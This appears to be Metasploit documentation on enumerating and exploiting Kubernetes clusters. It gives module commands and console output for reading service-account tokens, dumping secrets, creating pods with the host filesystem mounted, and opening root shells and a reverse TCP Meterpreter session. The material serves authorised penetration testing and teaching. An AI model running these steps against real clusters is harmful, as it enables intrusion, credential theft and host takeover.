Kubernetes Workflows
Metasploit has modules for both exploitation and enumeration of a Kubernetes cluster. These modules can either run through a compromised docker container, or external to the cluster if the required APIs are accessible:
In the future there may be more modules than listed here, for the full list of modules run the search
command within msfconsole:
msf6 > search kubernetes
Lab Environment
A tutorial for setting up a compromisable Kubernetes cluster can be found here
Kubernetes Enumeration
Metasploit has support for enumerating the Kubernetes API to extract the following information:
- Version - Enumerate Kubernetes service version, git commit, build date, etc
- Auth - RBAC permission information, i.e. if the token can create pods, read secrets, etc
- Namespaces - Enumerate available namespaces
- Pods - Enumerate currently running pods
- Secrets - Enumerate secrets, including base64 decoding to highlight noteworthy credentials, and storing loot
The auxiliary/cloud/kubernetes/enum_kubernetes
can be used to pivot through the compromised container to reach an previously inaccessible Kubernetes API. In this scenario the container’s Kubernetes service token will be read from the file system, and used to authenticate with the Kubernetes API:
If you have a Meterpreter session on a compromised Kubernetes container, the module values of NAMESPACE
, TOKEN
, RHOSTS
and RPORT
module options will be gathered from the session host automatically. The TOKEN
will be read from the mounted /run/secrets/kubernetes.io/serviceaccount/token
file if available:
use auxiliary/cloud/kubernetes/enum_kubernetes
run session=-1
If the Kubernetes API is publicly accessible and you have a JWT Token:
msf6 > use cloud/kubernetes/enum_kubernetes
msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set RHOST https://kubernetes.docker.internal:6443
RHOST => https://kubernetes.docker.internal:6443
msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set TOKEN eyJhbGciO...
TOKEN => eyJhbGciO...
msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > run
[*] Running module against 127.0.0.1
[+] Kubernetes service version: {"major":"1","minor":"21","gitVersion":"v1.21.2","gitCommit":"092fbfbf53427de67cac1e9fa54aaa09a28371d7","gitTreeState":"clean","buildDate":"2021-06-16T12:53:14Z","goVersion":"go1.16.5","compiler":"gc","platform":"linux/amd64"}
[+] Enumerating namespaces
Namespaces
==========
# name
- ----
0 default
1 kube-node-lease
2 kube-public
3 kube-system
4 kubernetes-dashboard
... etc ...
By default the run
command will enumerate all resources available, but you can also specify which actions you would like to perform:
msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > show actions
Auxiliary actions:
Name Description
---- -----------
all enumerate all resources
auth enumerate auth
namespace enumerate namespace
namespaces enumerate namespaces
pod enumerate pod
pods enumerate pods
secret enumerate secret
secrets enumerate secrets
version enumerate version
More usage examples:
# Configuration
use cloud/kubernetes/enum_kubernetes
set RHOST https://kubernetes.docker.internal:6443
set TOKEN eyJhbGciOiJSUz...
# Enumeration, filtering, and displaying information:
run
namespaces
namespaces name=kube-public
auth
auth output=json
secrets
pods
pod
pod namespace=default name=redis-7fd956df5-sbchb
pod namespace=default name=redis-7fd956df5-sbchb output=json
pod namespace=default name=redis-7fd956df5-sbchb output=table
version
Kubernetes Execution
The exploit/multi/kubernetes/exec
module will attempt to create a new pod in the specified namespace, as well as mounting the host’s filesystem at /host_mnt
if the required permissions are available. This module can either use websockets for communication, similar to the kubectl exec --stdin --tty
command, or upload a full Meterpreter payload.
If you have a Meterpreter session on a compromised Kubernetes container with the available permissions, the module values of NAMESPACE
, TOKEN
, RHOSTS
and RPORT
module options will be gathered from the session host automatically. The TOKEN
will be read from the mounted /run/secrets/kubernetes.io/serviceaccount/token
file if available:
msf6 exploit(multi/kubernetes/exec) > set TARGET Interactive\ WebSocket
TARGET => Interactive WebSocket
msf6 exploit(multi/kubernetes/exec) > run RHOST="" RPORT="" POD="" SESSION=-1
[*] Routing traffic through session: 1
[+] Kubernetes service host: 10.96.0.1:443
[*] Using image: busybox
[+] Pod created: burhgvzc
[*] Waiting for the pod to be ready...
[+] Successfully established the WebSocket
[*] Found shell.
[*] Command shell session 2 opened (172.17.0.31:59437 -> 10.96.0.1:443) at 2021-10-01 10:05:57 -0400
id
uid=0(root) gid=0(root) groups=10(wheel)
pwd
/
If the Kubernetes API is available remotely, the RHOST values and token can be set manually. In this scenario a token is manually specified, to execute a Python Meterpreter payload within the thinkphp-67f7c88cc9-tgpfh
pod:
msf6 > use exploit/multi/kubernetes/exec
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(multi/kubernetes/exec) > set TOKEN eyJhbGciOiJSUzI1...
TOKEN => eyJhbGciOiJSUzI1...
msf6 exploit(multi/kubernetes/exec) > set POD thinkphp-67f7c88cc9-tgpfh
POD => thinkphp-67f7c88cc9-tgpfh
msf6 exploit(multi/kubernetes/exec) > set RHOSTS 192.168.159.31
RHOSTS => 192.168.159.31
msf6 exploit(multi/kubernetes/exec) > set TARGET Python
TARGET => Python
msf6 exploit(multi/kubernetes/exec) > set PAYLOAD python/meterpreter/reverse_tcp
PAYLOAD => python/meterpreter/reverse_tcp
msf6 exploit(multi/kubernetes/exec) > run
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Sending stage (39736 bytes) to 192.168.159.31
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.31:59234) at 2021-10-01 09:55:00 -0400
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : thinkphp-67f7c88cc9-tgpfh
OS : Linux 5.4.0-88-generic #99-Ubuntu SMP Thu Sep 23 17:29:00 UTC 2021
Architecture : x64
Meterpreter : python/linux
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/kubernetes/exec) >